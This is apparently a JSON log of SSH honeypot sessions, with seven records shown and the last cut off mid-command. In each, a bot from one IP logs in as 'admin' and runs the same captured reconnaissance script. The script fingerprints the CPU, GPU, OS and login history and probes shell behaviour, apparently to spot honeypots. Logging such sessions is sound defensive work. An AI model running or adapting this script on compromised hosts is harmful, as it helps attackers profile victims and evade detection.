 {
  "id": "c88559f4-a6b9-40b6-8686-7d8bdb87f996",
  "name": "tawny-calm-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42328,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:44:45.478083+00:00",
  "ended_at": "2026-08-27T09:44:45.588004+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5890566c-8d6b-49c0-8b01-be8ad4758030",
  "name": "quiet-feral-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39230,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:43:03.218119+00:00",
  "ended_at": "2026-08-27T09:43:03.391022+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bd0c3c96-c88b-4c02-a135-27dcea015f57",
  "name": "inland-grumpy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36150,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:41:19.962988+00:00",
  "ended_at": "2026-08-27T09:41:20.073001+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b6dffd4f-f535-4e77-adf1-8d9ece2e5725",
  "name": "breezy-crimson-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33038,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:39:16.849368+00:00",
  "ended_at": "2026-08-27T09:39:16.952454+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "19c871fb-ac10-4830-b012-43742b9a5485",
  "name": "proud-obsidian-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58194,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:37:31.605482+00:00",
  "ended_at": "2026-08-27T09:37:31.798004+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f2e6ef7c-d120-474f-a220-bba00b3a96fc",
  "name": "subtle-daring-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55086,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:35:33.923158+00:00",
  "ended_at": "2026-08-27T09:35:34.032447+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "73ec52dc-d949-43ad-a5ff-db0fdb4a675b",
  "name": "balmy-tranquil-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 51964,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; 